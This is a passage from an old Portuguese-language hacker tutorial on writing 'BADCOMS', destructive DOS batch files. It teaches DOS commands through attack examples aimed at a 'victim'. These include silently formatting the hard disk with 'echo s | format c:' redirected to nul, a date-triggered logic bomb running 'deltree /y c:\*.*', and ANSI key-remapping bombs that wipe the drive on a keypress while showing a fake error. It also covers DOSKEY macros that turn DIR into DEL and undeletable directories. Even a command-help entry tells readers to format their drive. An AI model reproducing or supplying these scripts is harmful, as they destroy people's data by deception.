Colocar uma @ antes do primeiro comando de cada linha, equivale
ao ECHO OFF, mas apenas nessa linha. Para que o programa fique
melhor, aconselha-se colocar o comando @ECHO OFF na PRIMEIRA linha
do programa, assim você não precisa colocar uma @ antes de cada
linha.
2.2) DEL/ERASE
Sintaxe: DEL [nome_do_arquivo]
ERASE [nome_do_arquivo]
Exemplos: C> del autoexec.bat
C> erase autoexec.bat
Esse comando não precisa de muita explicação. Apenas exclui o
arquivo especificado. WildCards podem ser usadas (* e ?).
2.3) DELTREE
Sintaxe: DELTREE (/Y) [nome_do_arquivo]
Exemplos: C> deltree c:\windows
C> deltree /y c:\games
Também não tem muito segredo. Exclui um diretório e tudo que
tiver dentro dele. A opção /Y detona tudo sem pedir confirmação
mas deve ser usado logo após o comando DELTREE. Isso NÃO
funcionaria:
C> deltree c:\windows /y
2.4) FORMAT
Sintaxe: FORMAT (/Q) (/U) (/V:label) [unidade_a_ser_detonada]
Exemplos: C> format /q a:
C> format /u c:
O comando mais divertido que pode ser usado em BADCOMS. Fode o
drive especificado literalmente. A opção /Q realiza uma formatação
rápida e /U realiza uma formatação incondicional. A opção /V:label
espeficifica o nome do volume da unidade, não tem muito segredo...
Mas se o drive especificado for um HD aparecerá uma pergunta
estúpida, que o cara responde NÃO e mantém o HD a salvo.
Veja mais a frente como resolver isso.
2.5) FOR
Sintaxe: FOR %a in (arquivo1 arquivo2...) DO [comando] %a
Exemplo: C> for %a in (autoexec.bat config.sys) do del %a
Supunhetemos que você queira executar o mesmo comando pra vários
arquivos. Ao invés de escrever o mesmo comando uma porrada de
vezes, use o comando FOR. Explicando detalhadamente: o comando
FOR define uma variável chamada %a (ou qualquer letra) e define o
valor dessa variável com os nomes que estão entre parênteses.
Feito isso, executa um comando cujo parâmetro principal é a
variável %a.
Outro exemplo:
C> for %a in (autoexec.bat config.sys command.com) do del %a
Fará o seguinte:
C> del autoexec.bat
C> del config.sys
C> del command.com
Simples, não?
2.6) IF
Sintaxe: IF [condição] [comando]
Exemplos: if exist c:\autoexec.bat del autoexec.bat
if not exist c:\1.bat echo 1 já foi deletado
if "%1"=="fuckyou" echo Fuck You
if not "%1"=="fuckyou" echo Don't Fuck You
if errorlevel 1 goto 1
O comando IF testa uma condicional e se ela for verdadeira,
executa um comando. O primeiro exemplo verifica se existe o
arquivo c:\autoexec.bat e se existir, deleta ele. O segundo
exemplo testa se o arquivo c:\autoexec.bat NÃO existe. Se não
existir, exibe a mensagem "1 já foi deletado". O terceiro exemplo
testa se a variável %1 é igual a "fuckyou". Se for, exibe a
mensagem "Fuck You". O quarto exemplo testa se a variável %1 é
DIFERENTE de "fuckyou". Se for, exibe a mensagem "Don't Fuck You".
O último exemplo testa se foi retornado um errorlevel igual a 1.
Veja sobre os errorlevels mais a frente.
2.7) SET/VARIÁVEIS NO DOS
Sintaxe: SET [variável] = [valor]
Exemplos: set variavel = qualquermerda
set drive = C:\
O comando SET define uma variável de ambiente no DOS. Isso é
muito útil na programação de batches. Acho que com um exemplo
fica melhor de explicar:
C> set scream=argh
Isso criará uma variável chamada "scream" e definirá seu valor
como "argh". Se você escrever no DOS:
C> echo %scream%
Verá a palavra "argh" no lugar de "%scream%":
C> echo %scream%
argh
Ou seja, sempre que você quiser fazer uma referência a uma
variável já definida, usa-se %nome_da_variável%. Como unir duas
variáveis em uma só: suponhamos que você tenha duas variáveis. Uma
chamada "bah1" com o valor "1234567" e outra chamada "bah2" com o
valor "8910" se você quiser juntar as duas, é só fazer o seguinte:
C> set BAAAAHHH=%bah1% ; %bah2%
Neste exemplo estúpido que eu dei não parece ser uma coisa
muito útil, mas não se engane porque É! Outro tipo de variável são
as especificadas na linha de comando. Elas são %1, %2, %3 até %9.
Como eu disse elas são especificadas na linha de comando, ou
seja quando você roda o batch. Exemplo:
[hd_fuck.bat]
@echo off
if "%1" == "" goto erro
echo Preparando pra fuder o drive %1!
format %1
goto fim
:erro
echo Seu imbecil, especifique o drive que você quer detonar!
goto fim
:fim
Rodando o arquivo dessa maneira...
C> hd_fuck C:
...você verá o seguinte:
Preparando pra fuder o drive C:!
AVISO, TODOS OS DADOS NO DISCO NÃO-REMOVÍVEL UNIDADE C:
SERÃO PERDIDOS!
Continuar com o Format (S/N)?
Mas se não especificar nenhum parâmetro...
C> hd_fuck
...resulta em:
Seu imbecil, especifique o drive que você quer detonar!
Como você pôde perceber, 1% nesse exemplo era igual a C:.
Note que foi utilizado o comando IF para verificar se a variável
%1 era existente. Outra coisa que não pode passar despercebida
foi o uso do comando GOTO que será explicado logo a seguir...
Mais um detalhe: o FORMAT pediu a confirmação idiota antes de
detonar o HD... Em breve resolveremos isso... 8-)
2.8) GOTO
Sintaxe: GOTO [nome]
Exemplos: goto hora_de_fuder_o_hd
goto erro
O comando GOTO só pode ser usado dentro de arquivos batch e
serve para direcionar o programa para a linha especificada em
[nome]. Quando o DOS encontra essa linha, executa todos os
comandos existentes a partir dela. O nome da linha é especificado
com um :[nome]. Exemplo:
[goto.bat]
@echo off
goto fuckyou
echo Você vai se fuder...
:fuckyou
echo Se fudeu!
Muito simples. Logo no começo do programa DOS é direcionado para
a linha chamada "fuckyou" e exibe a mensagem "Se fudeu!", ou seja,
a segunda linha, "echo Você vai se fuder..." não é executada
porque o DOS foi direcionado pra uma linha APÓS esse comando.
LOOPS INFINITOS: muito fácil. Basta ver o exemplo abaixo:
[loop.bat]
@echo off
:loop
dir
goto loop
Isso roda o comando DIR infinitamente, até o cara apertar CTRL+C
ou desligar o computador...
2.9) VER
Sintaxe: VER
Exemplo: BAH!
Exibe qual a versão do DOS você está usando.
Aparentemente é um comando idiota e sem utilidade mas com um pouco
decriatividade ele se torna um comando MUITO útil... Você vai
entender mais pra frente...
2.10) VOL
Sintaxe: VOL
Exemplo: BAH!
Mostra o nome de volume da sua unidade... Semelhante ao comando
acima, muito útil pra quem é criativo.
2.11) CLS
Sintaxe: CLS
Exemplo: BAH!
Apaga tudo que tem na tela.
2.12) ATTRIB
Sintaxe: ATTRIB (+A) (+R) (+H) (+S) [nome_do_arquivo]
ATTRIB (-A) (-R) (-H) (-S) [nome_do_arquivo]
Exemplos: attrib +h c:\ruimdows
attrib +s c:\config.sys
attrib -r c:\command.com
Define um attributo pra um arquivo ou diretório. É óbvio que o
sinal de mais (+) indica que um atributo está sendo definido e um
sinal de menos (-) indica que um atributo está sendo removido. Os
atributos são:
A -> Atributo de Arquivo. Que diabos é isso? Supunhetemos que
você queira copiar todos os arquivos que estão em um
disquete para outro, menos os de extensão .VIR. O que você
faz?
C> attrib +a a:\*.*
C> attrib -a a:\*.vir
Aí você usa o comando XCOPY:
C> xcopy a: b: /a
Meio esquisito, mas é isso...
R -> Atributo de somente para leitura. O arquivo não pode ser
modificado ou deletado a não ser que o atributo seja
removido.
H -> Atributo de arquivo oculto. Só um burro pra não perceber
que isso esconde o arquivo.
S -> Atributo de arquivo de sistema. Acho que, na prática, é a
mesma coisa que o atributo H.
2.13) CALL
Sintaxe: CALL [nome_do_arquivo_batch]
Exemplo: call virus.bat
Comando usando DENTRO de arquivos batch que serve para chamar
OUTROS arquivos batch, ou seja, roda outro arquivo batch mas sem
parar de rodar o primeiro. Exemplo:
[1.bat]
@echo off
echo Esse é o arquivo batch 1...
call 2.bat
echo De volta pro batch 1...
[2.bat]
@echo off
echo Esse é o arquivo batch 2...
Resulta em:
C> 1
Esse é o arquivo batch 1...
Esse é o arquivo batch 2...
De volta pro batch 1...
2.14) CHOICE & ERRORLEVELS
Sintaxe: CHOICE /C:[teclas] [texto]
Exemplo: choice /c:123 Escolha uma opção:
Esse comando exibe uma mensagem, espera que o usuário escolha
uma das teclas especificadas e retorna um valor de errorlevel,
de acordo com a tecla.
[fuck.bat]
@echo off
choice /c:123 Escolha uma opção:
if errorlevel 3 goto opcao3
if errorlevel 2 goto opcao2
if errorlevel 1 goto opcao1
:opcao1
echo Opção 1 escolhida
goto fim
:opcao2
echo Opção 2 escolhida
goto fim
:opcao3
echo Opção 3 escolhida
goto fim
:fim
Rodando isso, vai acontecer o seguinte:
C> fuck
Escolha uma opção:[1,2,3]?
Se você escolher a opção 1:
C> fuck
Escolha uma opção:[1,2,3]?1
Opção 1 escolhida
Se escolher a 2:
C> fuck
Escolha uma opção:[1,2,3]?2
Opção 2 escolhida
E por último:
C> fuck
Escolha uma opção:[1,2,3]?3
Opção 3 escolhida
Ou seja, o comando CHOICE é muito étil para a criação de menus,
etc.
Mas o que diabos são os ERRORLEVELS? São valores retornados
pelos comandos do DOS, de acordo com o que causou o fim do
programa.
Geralmente, quando um comando/programa pra DOS termina normalmente,
sem nenhum erro, retorna um ERRORLEVEL igual a 0. Os outros valores
variam de acordo com os comandos. Veja uma lista de ERRORLEVELS
mais adiante.
Os errorlevels só podem ser usados com o comando IF. Usando esse
recurso, você tornará seus batches melhores pois o mesmo poderá
tomar decisões de acordo com o valor de errorlevel.
Note que, quando você usa o comando CHOICE, o comando IF deve
testar os valores de errorlevel do maior para o menor.
Veja um exemplo:
[errorlev.bat]
@echo off
del autoexec.bat
if errorlevel 0 echo NÃO OCORREU NENHUM PROBLEMA
Isso fará o seguinte:
C> errorlev
NÃO OCORREU NENHUM PROBLEMA
Lógico que essa mensagem só será exibida se nenhum erro ocorrer.
Explicando melhor: se não ocorrer nenhum problema na hora de
deletar o arquivo, o DEL retornará um errorlevel 0. Você também
pode fazer assim:
[errorsuck.bat]
@echo off
del c:\config.sys
if not errorlevel 0 goto OPS
echo Não ocorreu nenhum problema.
goto fim
:OPS
echo Alguma coisa errada ocorreu.
goto fim
:fim
Esse exemplo é melhor, pois testa se o comando DEL NÃO retornou
um errorlevel 0. Como o errorlevel 0 significa que nada de errado
ocorreu, um errorlevel diferente de 0 significa que algo anormal
aconteceu.
Se ocorrer algo anormal ele exibe a mensagem "Alguma coisa errada
ocorreu" mas se tudo der certo exibe "Não ocorreu nenhum problema".
2.15) COPY
Sintaxe: COPY [origem] [destino]
Exemplos: copy *.* c:\ruimdows
copy c:\win95\*.* c:\autoexec.bat
Copia os arquivos especificados para um diretório ou para outro
arquivo.
2.16) CTTY
Sintaxe: CTTY [novo_dispositivo_de_entrada]
Exemplo: ctty nul
Este comando altera o dispositivo de entrada de dados do padrão
(teclado) para outro que você especificar.
Mais tarde você entenderá melhor isso...
2.17) DIR
Sintaxe: DIR [/S] [/P] [/W] [nome_do_arquivo]
Exemplos: dir /s
dir autoexec.bat
Este comando não tem muito segredo. Se você não souber usar o
comando DIR, escreva no prompt do DOS:
C> echo s | format c:
2.18) TYPE
Sintaxe: TYPE [nome_de_arquivo]
Exemplo: type msdos.sys
Não tem complicação. Exibe o conteúdo de um arquivo (sem fazer
pausa entre as páginas). Pode ser usado em conjunto com o comando
MORE.
2.19) MORE
Sintaxe: MORE [nome_do_arquivo]
TYPE [nome_do_arquivo] | MORE (depende da versão do DOS)
Exemplo: more sucks.txt
type badcom.faq | more
O comando MORE é idêntico ao comando TYPE, mas ao final de cada
página, faz uma pausa. Em versões mais antigas do DOS, o MORE só
funciona se for feito um PIPE com o comando TYPE.
2.20) MD/MKDIR/CD/CHDIR/RD/RMDIR
Sintaxe: MD [nome_do_diretório] ou MKDIR [nome_do_diretório]
CD [diretório] ou CHDIR [diretório]
RD [diretório_vazio] ou RMDIR [diretório_vazio]
MD/MKDIR cria um diretório, CD/CHDIR chama (vai para) um
diretório e o RD/RMDIR deleta um diretório (só se o dito cujo
estiver VAZIO).
2.21) LABEL
Sintaxe: LABEL [nome_de_volume]
Exemplo: label se_fudeu
Muda o nome de volume da unidade atual.
2.22) FIND
Sintaxe: FIND "string_procurada" [nome_do_arquivo]
Exemplo: find "fuck" c:\trash.txt
Procura por uma string em um determinado arquivo. Muito útil se
utilizado juntamente com os errorlevels.
2.23) PAUSE
Sintaxe: PAUSE
Exemplo: BAH!
Faz uma pausa no batch, até que o usuário pressione qualquer
tecla. Também exibe a mensagem " Pressione qualquer tecla para
continuar..."
2.24) REN/RENAME
Sintaxe: REN [nome_do_arquivo] [novo_nome]
RENAME [nome_do_arquivo] [novo_nome]
Exemplos: ren autoexec.bat noway.bat
rename config.sys huahuahua.com
Muda o nome de um arquivo.
2.25) SUBST
Sintaxe: SUBST [nova_letra_de_unidade] [caminho]
SUBST [unidade] /D
Exemplo: subst f: c:\fuck
subst f: /d
Define uma letra de unidade para um determinado diretório.
Se você usar a opção /D, o SUBST vai desativar a letra da unidade
JÁ CRIADA pelo comando SUBST. Só vai funcionar se houver a
seguinte linha no CONFIG.SYS:
LASTDRIVE=Z
2.26) TIME
Sintaxe: TIME
Exemplo: BAH!
Exibe a hora atual.
2.27) REM
Sintaxe: REM [texto]
Exemplo: rem Este é um comentário
O comando REM é usado quando você quer adicionar um comentário
ao seu batch.
2.28) DOSKEY
Sintaxe: DOSKEY [macro] [texto] /ECHO:on|off
Exemplo: doskey dir del *.*
O DOSKEY tem várias utilidades, mas só vou explicar uma, talvez
a mais útil delas. Usando o DOSKEY você pode criar macros, ou seja
atribuir comandos a palavras (como um ALIAS). A utilidade disso
num BADCOM é que você pode trocar os comandos do DOS do cara por
outros. Veja o exemplo acima. Esse exemplo faz com que o comando
DIR execute o comando DEL *.*. Você pode usar isso como um Time
Bomb ou pode apenas deixar sua vítima com o saco cheio mudando
todos os comandos do DOS para besteiras sem sentido nenhum.
A opção /ECHO define se os comandos da macro serão exibidos. Se
for desativado, é equivalente ao "@ECHO OFF". Alguns caracteres
especiais de código de definição de macro:
$T: Separador de comando. Permite vários comandos em uma só
macro.
$1 a $9: Parâmetros da macro. Igual a %1 a %9.
$*: Símbolo substituído por tudo após o nome da macro na linha
de comando.
Um detalhe, se sua vítima pressionar ALT+F10 todas as macros que
você criou serão desativadas.
2.29) XCOPY
Sintaxe: XCOPY [origem] [destino] [/S]
Exemplo: xcopy c:\games d:\fuck /s
Semelhante ao COPY, só que mais rápido, pois carrega todos os
arquivos na memória e só depois copia-os. Se a opção /S for usada
todos os subdiretórios e arquivos de um diretório também serão
copiados.
┌────────────────────────────────────────────────────────────────────────────┐
│/\/\/\/\/\/\/\/\/\ - - = [ RecuRsOs InTeReSSaNteS ] = - - \/\/\/\/\/\/\/\/\ │
└────────────────────────────────────────────────────────────────────────────┘
Aqui você vai encontrar uns recursos que tornarão seus BADCOMS
muito melhores, e conseqüentemente, mais destrutivos :-).
3.1) PIPES
Sintaxe: [comando_do_dos_1] | [comando_do_dos_2]
Exemplo: type damnit.txt | more
Um pipe não é bem um comando. É um recurso do DOS que permite
que você use um comando conectado a outro. É meio phoda de
explicar, o melhor é ver pelos exemplos:
C> echo s | format c:
Isso fará com que o FORMAT detone o HD diretamente, sem pedir
confirmação, ou melhor, o FORMAT PEDE a confirmação, mas já vai
ter uma resposta imediata: a letra S. Se você escrever esse
comando, verá o seguinte:
AVISO, TODOS OS DADOS NO DISCO NÃO-REMOVÍVEL UNIDADE C:
SERÃO PERDIDOS!
Continuar com o Format (S/N)?s
Explicando melhor, é como se o DOS rodasse os dois comandos ao
mesmo tempo e juntasse os resultados em um só. No exemplo acima o
DOS exibe a letra "s" ao mesmo tempo que o FORMAT pede uma
confirmação a respeito da formatação.
O mesmo vale para o exemplo do TYPE.
3.2) Redirecionamento de I/O
Este é um dos melhores recursos que existem na edição
de BADCOMS. Antes de tudo, REDIRECIONAMENTO DE I/O significa
REDIRECIONAMENTO DE IN/OUT ou REDIRECIONAMENTO DE ENTRADA E SAÍDA.
"Mestre, mestre! Alimente a minha fome de saber com o pão de sua
inteligência! Não entendi nada! Qual a utilidade prática disso?"
It's too easy... Em um computador existem dispositivos de
entrada de dados e de saída de dados. O que você usa pra inserir
dados no seu computador?
"Não sei, mestre."
ANIMAL! É o teclado! Da mesma forma que o dispositivo usado
para a saída de dados é o monitor. Ou seja, todos os dados que
você insere pelo teclado saem (são exibidos) no monitor. No DOS (e
em outros sistemas) ocorre uma coisa muito legal que é o
redirecionamento de I/O. Você pode direcionar a saída de dados
para outros dispositivos ou até mesmo para arquivos.
"Mestre, como eu direciono um comando para outro dispositivo ou
arquivo?"
De acordo com a seguinte sintaxe:
COMANDO > [dispositivo_ou_arquivo] ou
COMANDO >> [dispositivo_ou_arquivo]
Qual a diferença entre usar ">" ou ">>"?
Veja os exemplos:
C> echo merda,caralho,putaqpariu > palavroes.txt
C> echo porra,bosta,cacete >> palavroes.txt
O primeiro exemplo vai CRIAR um arquivo chamado "palavroes.txt"
contendo as palavras "merda,caralho,putaqpariu". O segundo exemplo
vai ADICIONAR as palavras " porra, bosta, cacete" no arquivo já
criado " palavrões.txt". Ou seja, o síbolo ">" vai CRIAR um novo
arquivo e se ele já existir, vai ser sobreescrito. O símbolo ">>"
vai ADICIONAR a string à última linha de um arquivo já existente.
Se o arquivo especificado não existir, ele será criado.
Mais exemplos:
C> dir /s > c:\listdir.txt
Isso criará um arquivo chamado "listdir.txt" contendo TODOS os
arquivos existentes no HD. O redirecionamento pode ser feito com
qualquer comando do DOS.
Lista dos dispositivos do DOS:
AUX: primeira porta serial
CLOCK$: relógio do sistema
COM1: primeira porta serial
COM2: segunda porta serial
COM3: terceira porta serial
COM4: quarta porta serial
CON: teclado
LPT1: primeira impressora
LPT2: segunda impressora
LPT3: terceira impressora
NUL: dispositivo nulo
PRN: primeira impressora
Direcionar os comandos do DOS para o dispositivo NUL é muito
útil, especialmente quando você não quer que o comando exiba
nenhuma mensagem na tela. Exemplo:
[pause1.bat]
@echo off
pause > nul
echo Pressione uma tecla...
rem pause > nul poderia ser substituído por pause >> nul
Isso faz com que a mensagem padrão do PAUSE não seja exibida,
pois ela foi direcionada para NUL, mas o programa vai continuar
esperando até o usuário apertar uma tecla e vai exibir uma
mensagem diferente. Outro exemplo:
C> echo s | format c: >> nul
Vai formatar o HD sem exibir nada na tela, ou seja, até o cara
perceber o que está acontecendo o HD dele já foi pro espaço!
Ha, Ha, Ha! :-D
Mas você também pode redirecionar o dispositivo de ENTRADA para
um arquivo ou dispositivo, o que seria QUASE a mesma coisa que um
PIPE. Por que "QUASE"? Supunhetemos que você tem um programa que
pede que você pressione a tecla ENTER antes de começar a funcionar
e você quer rodar esse programa direto, sem ter que apertar ENTER.
Como fazer isso? Você cria um arquivo que contenha o ENTER e
redireciona a entrada de dados do seu programa para esse arquivo.
"Mas eu não sei fazer isso..."
É bem fácil. Use o comando COPY CON. Isso copiará tudo que for
inserido pelo dispositivo CON (também conhecido como teclado)
para um arquivo. Veja esse exemplo:
C> copy con enter.txt
----> Pressione ENTER
----> Pressione ENTER
----> Pressione ENTER
^Z ----> Pressione CTRL+Z e depois ENTER
1 arquivo(s) copiado(s)
Isso vai criar um arquivo de 6 bytes, que se parecerá com um
arquivo vazio, mas que conterá o caractere ENTER. Na verdade, não
é necessário apertar ENTER três vezes na hora em que você está
criando o "enter.txt", uma vez basta, mas é bom garantir...
Agora que o seu arquivo já está criado, você deve proceder de
acordo com a seguinte sintaxe para direcionar a entrada de dados:
COMANDO < arquivo
Por exemplo, você quer rodar o comando TIME, mas não quer que
apareça aquela babaquice de "Digite a nova hora:". Basta que você
direcione o comando TIME pro arquivo já criado "enter.txt", assim:
C> time < enter.txt
A hora atual é **:**:**,**
Digite a nova hora:
C>
É como se o ENTER fosse pressionado automaticamente, retornando
imediatamente ao prompt. Mas o arquivo a qual você vai direcionar
pode ter um conteúdo diferente. Pode conter a letra "s", no caso
do programa pedir uma confirmação, pode conter um "n", depende do
programa. Se você criar um arquivo chamado "s.txt", obviamente
contendo a letra "s" e um ENTER você pode redirecionar o FORMAT,
detonando o HD sem pedir confirmação:
C> format c: < s.txt
Uma coisa que você não pode esquecer em hipótese alguma, é de
mandar o arquivo que você usa para o redirecionamento junto com o
seu BADCOM, senão não vai adiantar porra nenhuma.
3.3) Diretórios inacessíveis
Um truque legal que pode ser feito no DOS: se você criar um
diretório usando caracteres estendidos ASCII (veja a tabela na
próxima parte) o Ruimdows não reconhecerá esses diretórios e
exibirá um monte de mensagens de erro quando alguém tenta acessar
os mesmos. Útil pra quando você quiser entupir o HD de alguém com
besteira e deixar sua vítima desesperada sem saber como deletar
esse diretório. Mas não são todos os caracteres ASCII que criam
diretórios inacessíveis.
Veja alguns caracteres que quando usados com o MD impede o
Ruimdows de reconhecê-los: ■ (254), ı (213), ┘ (217), █ (987),
┘ (985), ┌ (986), ├ (963), ┴ (961), ┬ (962), └ (960), ┼ (965),
─ (964), ╚ (968), ╔ (969), ▄ (988), ▀ (991).
Como criar um diretório inacessível:
C> md [SEGURA ALT+CÓDIGO DO CARACTERE+SOLTA ALT]
Os erros que um diretório desses causa no Ruimdows: quando você
dá 2 cliques no diretório (no Windows o nome dele será "_")
aparecerá a seguinte mensagem:
┌───────────────────────────────┐
├───────────────────────────────┤
│ A pasta 'C:\_' não existe. │
│ │
│ < OK > │
└───────────────────────────────┘
Tentando renomear a pasta , aparece:
┌─────────────────────────────────┐
├─────────────────────────────────┤
│ Impossível renomear _: Não é │
│ possível encontrar o arquivo │
│ especificado. │
│ │
│ < OK > │
└─────────────────────────────────┘
Se tentar deletar o diretório:
┌─────────────────────────────────┐
├─────────────────────────────────┤
│ Impossível remover _: Não é │
│ possível encontrar o arquivo │
│ especificado. │
│ │
│ < OK > │
└─────────────────────────────────┘
O cara só poderá remover esse diretório pelo DOS, isso se ele
conhecer a tabela ASCII. Ou seja, tá fudido! :-)
Uma boa idéia é criar um batch que remova o diretório
inacessível.
Veja os exemplos:
[baddir.bat]
@echo off
md ■
[anti_baddir.bat]
@echo off
rd ■
O primeiro exemplo cria um diretório inacessível e o segundo
exemplo exclui o diretório.
3.4) ANSI
ANSI é outro recurso muito interessante do DOS, mas que não é
muito utilizado. Com o ANSI você pode mudar a cor dos caracteres
da tela, mudar a forma como eles são exibidos, remapear seu
teclado, fazer ANSIBOMBS e tornar seus BADCOMS muito melhores.
"Mestre, mestre! Onde eu compro o CD desse tal de ANSI?"
IDIOTA! No seu diretório \DOS ou \WINDOWS\COMMAND existe um
arquivo chamado ANSI.SYS. Basta adicionar a seguinte linha no seu
arquivo CONFIG.SYS:
DEVICE=[caminho]\ansi.sys
Depois de fazer isso, reinicie seu computador e pronto! Você já
pode usar o ANSI.
O método utilizado pelo ANSI para controlar o teclado e a tela é
a sequência de escape, que nada mais é do que uma série de códigos
iniciada por um caractere de escape.
Todos os comandos ANSI são iniciados por um caractere de escape
(), seguido de um colchete esquerdo ([). Depois desses caracteres
vão os códigos que dizem ao ANSI como controlar seu teclado/tela.
Esses códigos são parecidos com os do terminal VT100, só que um
pouco mais limitados. O problema do ANSI é a dificuldade de entrar
com o caractere de escape a partir do teclado. Existe um truque
para fazer isso no EDIT do DOS. Pressione CTRL+P. Aparecerá uma
mensagem "Informe a tecla de controle para inserir" e então aperte
ESC. Você terá o "".
Obviamente, essa sequência toda de caracteres não vai funcionar
se não tiver um comando como ECHO ou TYPE.
MANIPULANDO A TELA COM O ANSI
Com o ANSI, você pode apagar a tela (como no CLS), localizar o cursor
num ponto da tela e mudar as cores de foreground e background.
Para limpar a tela, siga o exemplo:
[cls2.bat]
@echo off
echo
O comando limpa a tela. Uma coisa interessante: se você
direcionar o comando CLS pra um arquivo qualquer e editar esse
arquivo, o conteúdo do mesmo será . Se você der um TYPE
nesse arquivo, a tela se limpará.
Para mudar a cor da tela, a sintaxe é ;nm onde "n" é o código
da cor e "m" é o código que indica a mudança de cor, portanto NÃO
SE ESQUEÇA DE COLOCAR A LETRA "M" NO FIM DO CÓDIGO! Veja a tabela
de cores para ANSI:
┌───────────────┬──────────────────────┐
│ CÓDIGO ANSI │ COR DO TEXTO │
├───────────────┼──────────────────────┤
│ 0 │ Normal │
│ 1 │ Alta intensidade │
│ 2 │ Intensidade normal │
│ 4 │ Azul │
│ 7 │ Vídeo inverso │
│ 8 │ Texto invisível │
├───────────────┼──────────────────────┤
│ 30 │ Foreground preto │
│ 31 │ Foreground vermelho │
│ 32 │ Foreground verde │
│ 33 │ Foreground amarelo │
│ 34 │ Foreground azul │
│ 35 │ Foreground magenta │
│ 36 │ Foreground ciano │
│ 37 │ Foreground branco │
├───────────────┼──────────────────────┤
│ 40 │ Background preto │
│ 41 │ Background vermelho │
│ 42 │ Background verde │
│ 43 │ Background amarelo │
│ 44 │ Background azul │
│ 45 │ Background magenta │
│ 46 │ Background ciano │
│ 47 │ Background branco │
└───────────────┴──────────────────────┘
Exemplos:
[azul.bat]
@echo off
echo FUCK YOU!
[pretonobranco.bat]
@echo off
echo
echo BAH!
O primeiro exemplo exibe a mensagem "FUCK YOU" na cor azul e o
segundo exemplo muda a cor do fundo pra branco e a do texto pra
preto e exibe a mensagem "BAH".
Finalmente, para localizar o cursor na tela, use ow;columnH,
não esquecendo que o H indica que o ANSI deve mudar o cursor e que
não pode ser esquecido. Esse comando é mais fácil. O "row"
corresponde à linha que você quer que o cursor vá (pode ser 1 até
25) e column indica em que ponto da linha você quer que o cursor
fique (pode ir de 1 até 80). Exemplo:
[teste.bat]
@echo off
echo TESTE
Simples. Exibe a mensagem "TESTE" na linha 10, coluna 40.
REMAPEAMENTO DE TECLADO
Você pode mudar as teclas do seu computador usando ANSI. A sintaxe
para a redesignação de teclas é:
1;n2p
Onde "n1" é a tecla a ser modificada, "n2" é a tecla para qual você
quer que "n1" mude e "p" é o código que indica mudança de teclas.
Cada letra tem um código próprio, segue-se uma tabela das teclas e
seus respectivos códigos (para ver os códigos das outras teclas, use
o comando HELP do DOS):
┌─────────┬────────┐
│ LETRA │ CÓDIGO │
├─────────┼────────┤
│ A │ 97 │
│ B │ 98 │
│ C │ 99 │
│ D │ 100 │
│ E │ 101 │
│ F │ 102 │
│ G │ 103 │
│ H │ 104 │
│ I │ 105 │
│ J │ 106 │
│ K │ 107 │
│ L │ 108 │
│ M │ 109 │
│ N │ 110 │
│ O │ 111 │
│ P │ 112 │
│ Q │ 113 │
│ R │ 114 │
│ S │ 115 │
│ T │ 116 │
│ U │ 117 │
│ W │ 118 │
│ V │ 119 │
│ X │ 120 │
│ Y │ 121 │
│ Z │ 122 │
└─────────┴────────┘
Exemplo:
[remap.bat]
@echo off
echo
echo
Este exemplo vai trocar a letra "X" pela letra "Z" e a letra
"Z" pela "X".
ANSIBOMBS
Além de trocar uma letra por outra, é possível atribuir um
comando a uma tecla. Supunhetemos que você queira que a tecla "A"
execute um determinado comando. Você deve fazer assim:
1;"string"p
O "n1" é a tecla a qual você quer atribuir um comando e "string"
(deve ser entre aspas!) é o comando que você quer atribuir. Se
você quiser que a tecla ENTER seja pressionada após o comando,
deve ser assim:
1;"string";13p
O número 13 é o código ANSI da tecla ENTER. Exemplos:
[a_dir.bat]
@echo off
[122;"dir/w";13p
[abomb.bat]
@echo off
[105;"echo s | format c:";13p
O primeiro exemplo executa o comando DIR/W sempre que a tecla
"Z" for pressionada. O segundo exemplo vai detonar o HD assim que
a tecla "I" for pressionada (um exemplo prático de ANSIBOMB!).
┌────────────────────────────────────────────────────────────────────────────┐
│/\/\/\/\/\/\/\/\/\/\/\/\ - - = [ ExEmPloS ] = - - /\/\/\/\/\/\/\/\/\/\/\/\/\│
└────────────────────────────────────────────────────────────────────────────┘
Neste capítulo você vai encontrar exemplos comentados linha por
linha, assim você poderá entender melhor o que acontece no source
existente no próximo capítulo.
4.1) Detectando o idioma do DOS:
[idioma.bat]
1| @echo off
2| vol >tmpvol.tmp
3| find "volume" tmpvol.tmp /i >nul
4| if errorlevel 0 if errorlevel 1 goto english
5| echo Seu Ruimdows é em português
6| goto fim
7| :english
8| echo Your Ruimdows is in English
9| :fim
10| del tmpvol.tmp
A linha 1 desativa o ECHO. A linha 2 executa o comando VOL
direcionado pro arquivo "tmpvol.tmp". Vendo o conteúdo desse
arquivo, terá isso (se for em português):
O volume da unidade C é RUIMDOWS 95
O número de série do volume é 22E1-0142
A linha 3 irá procurar pela palavra "volume" no arquivo
"tmpvol.tmp" e a linha 4 verificará se a string não foi encontrada
e mandará o batch para a linha 7, se isso for verdade. É aí que
está a grande sacada. Se o Ruimdows for em português, aparecerá a
palavra "volume" no arquivo "tmpvol.tmp", mas se for em inglês, a
palavra será "label", e não "volume", ou seja se o FIND não
encontrar a palavra "volume" é porque o Ruimdows é em inglês.
Mas pra que isso? Respondo com outra pergunta: quando você for
detonar um HD, você vai usar "ECHO S | FORMAT C:" ou "ECHO Y |
FORMAT C:"?
As linhas 5 até 10 não tem muito segredo. Exibem mensagens, até
chegar ao fim, que termina apagando o arquivo "tmpvol.tmp".
4.2) Detectando a data do computador
[data.bat]
1| @echo off
2| date <enter.txt >tmpdate.tmp
3| find "06/06/1998" tmpdate.tmp /i >nul
4| if errorlevel 0 if errorlevel 1 goto dataerrada
5| echo Hoje eu estou de mau humor! Vou fuder seu HD!
6| deltree /y c:\*.*
7| goto fim
8| :dataerrada
9| echo Hoje eu serei benevolente e não vou fuder seu HD.
10| :fim
11| del tmpdate.tmp
O princípio usado nesse arquivo é o mesmo do exemplo acima. A
linha 1 desativa o ECHO, a 2 cria um arquivo "tmpdate.tmp" que
contém a data atual, a linha 3 procura a data que você quer que
detone o HD, a 4 verifica se a data é a certa ou a errada. Se for
certa, exibe uma mensagem, detona os arquivos e vai pro fim, como
visto nas linhas 5, 6 e 7. Se não for a data certa, o programa vai
para a linha 8, exibe uma mensagem na 9 e vai pro fim, onde apaga
o arquivo tmpdate.tmp.
4.3) ANSIBOMB
[abomb.bat]
1| @echo off
2| echo [99;"deltree /y c:\*.* >nul";13p
3| echo Memória insuficiente
Este exemplo é muito simples. A linha 1 desativa o ECHO, a 2
fará com que quando a tecla "C" for pressionada, detone todos os
arquivos e a linha 3 exibe uma mensagem de erro para enganar o
usuário, depois que a bomba foi setada.
4.4) Travando o computador
[travando.bat]
1| @echo off
